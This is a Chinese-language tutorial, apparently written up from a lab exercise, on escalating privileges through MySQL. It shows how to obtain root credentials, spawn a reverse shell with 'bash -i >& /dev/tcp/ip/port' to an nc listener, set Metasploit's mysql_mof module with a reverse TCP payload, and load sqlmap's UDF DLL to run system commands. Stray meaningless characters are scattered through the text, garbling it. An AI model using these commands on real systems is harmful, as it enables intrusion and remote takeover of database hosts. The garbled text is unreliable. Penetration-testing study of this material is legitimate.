mysql提權(quán)基礎(chǔ)
?mysql通常在php語言中用的比較多
?連接數(shù)據(jù)庫的文件名一般為conn.php、config.php蓄诽、common.inc.php、config.inc.php等
?mysql的提權(quán)一般需要root用戶
密碼的獲取
?1鹏溯、數(shù)據(jù)庫查詢
??select Host,user,password from mysql.user (查詢?cè)摫硇枰猺oot權(quán)限)
?2系冗、配置文件讀取
??類似未刪除的備份文件、git等開源平臺(tái)绢记、一些打包的壓縮文件造成的源碼或者配置文件泄露
?3扁达、下載user文件
??在mysql的data目錄下,user.frm蠢熄、user.MYD跪解、user.MYT可能存在有密碼的信息
select @@basedir ?獲取當(dāng)前數(shù)據(jù)庫的地址
select @@plugin_dir ?插件目錄,mysql版本>5.1才有插件目錄
提權(quán)
?簡單粗暴的system反彈shell
??mysql中root用戶可以用system + 命令來執(zhí)行系統(tǒng)命令
??system whoami; 執(zhí)行whoami命令
??反彈shell:
??攻擊機(jī)監(jiān)聽:nc -lvvp 7777?(在7777端口監(jiān)聽)
??靶機(jī):id=1;system bash -i >& /dev/tcp/ip/port 0>&1
??此時(shí)攻擊機(jī)反彈shell签孔,可以執(zhí)行命令
?嘗試失敗的mof提權(quán)
??在windows的 c:/windows/system32/wbem/mof/ 目錄下叉讥,里面的mof文件每個(gè)一段時(shí)間便會(huì)執(zhí)行一次
??當(dāng)我們知道了mysql的賬號(hào)密碼并且可以連接后窘行,可以嘗試用msf的攻擊模塊提權(quán)
??msfconsole下:
???use exploit/windows/mysql/mysql_mof
???set rhost xxx.xxx.xxx.xxx ?(目標(biāo)IP)
???set rport 3306?(遠(yuǎn)程連接數(shù)據(jù)庫的端口)
???set username root ?(遠(yuǎn)程連接的數(shù)據(jù)庫賬戶)
???set password 123456 ?(遠(yuǎn)程連接的密碼)
???set lhost xxx.xxx.xxx.xxx (反彈shell的地址)
???set lport 7777 ?(反彈shell的端口)
???set payload windows/shell_reverse_tcp (設(shè)置攻擊載荷)
???exploit 開始攻擊
???提示上傳成功了但是沒有會(huì)話,不知道為什么图仓,正常結(jié)果的話等待一段時(shí)間會(huì)反彈shell回來
???然后我在攻擊機(jī)上執(zhí)行nc -lvvp 6666監(jiān)聽
???去靶機(jī)點(diǎn)擊執(zhí)行msf上傳到c:/windows/system32的exe文件
???然后反彈shell了罐盔,懷疑mof里面的文件根本沒有自動(dòng)執(zhí)行
?老生常談udf提權(quán)
??UDF(user defined function),用戶自定義函數(shù)透绩,可以用于自定義函數(shù)來執(zhí)行命令翘骂。需要mysql安裝udf
??mysql版本大于5.1壁熄,使用select @@plugin_dir語句查看插件安裝的目錄
??mysql版本小于5.1帚豪,windows 2000下放置在c:/winnt/system32目錄,否則就放在c:/windows/system32的目錄下
??udf.dll文件在哪里找呢草丧,在sqlmap下就有
??在sqlmap的目錄下 ./udf/mysql/中就能找到狸臣,我的靶機(jī)版本是32位的
??高版本的sqlmap會(huì)將該文件加密將文件移動(dòng)到./extra/cloak/中,使用cloak.py解碼
??python2 cloak.py -d -i lib_mysqludf_sys.dll_
??解碼完成后就有dll文件了昌执,復(fù)制到插件目錄
??復(fù)制完成后執(zhí)行create function sys_eval returns string soname "lib_mysqludf_sys.dll"
烛亦,創(chuàng)建里面的函數(shù),注意這里不用輸入dll的絕對(duì)路徑
??